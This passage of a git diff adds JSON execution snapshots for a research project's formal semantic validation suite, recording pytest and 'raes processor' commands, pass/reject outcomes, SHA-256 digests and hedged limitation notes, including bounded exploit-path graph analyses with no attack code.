validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1072-execution-v37", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "e14818f29c24c6e6fd26afcf6c7b1a003b8d3025", + "source_state": { + "base_revision": "e14818f29c24c6e6fd26afcf6c7b1a003b8d3025", + "checkout_state": "modified", + "implementation_digest": "f9a64512d95b70b0c17049816dea747523493db107dad9dcf9590d74ef5ccbc0", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v38.json b/docs/research/formal-semantic-validation/execution-snapshot-v38.json new file mode 100644 index 000000000..aed7af839 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v38.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1072-execution-v37", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v37.json", + "release_revision": "38.0.0", + "release_sha256": "be30a500929604049c32b846cd017bba0880b4593461f819a201b0d9e3a8b248" + }, + "captured_at": "2026-09-20T08:00:00.000000+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1016-execution-v38", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1016-execution-v38", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "f784be2d1dd8714afd9ad60b56b8100c850f8e3e", + "source_state": { + "base_revision": "f784be2d1dd8714afd9ad60b56b8100c850f8e3e", + "checkout_state": "modified", + "implementation_digest": "13446b4a09f711a98e30329cf9f25f48eea8ca5779d1048517e59f8548f93c8d", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v39.json b/docs/research/formal-semantic-validation/execution-snapshot-v39.json new file mode 100644 index 000000000..ce86ff33a --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v39.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1016-execution-v38", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v38.json", + "release_revision": "39.0.0", + "release_sha256": "6beca492ff2b4d6127e1a2a8a23960b3b466110fb5f7ffaa01ec1e8b7edac328" + }, + "captured_at": "2026-09-20T15:44:45.533369+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-610-execution-v39", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-610-execution-v39", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + 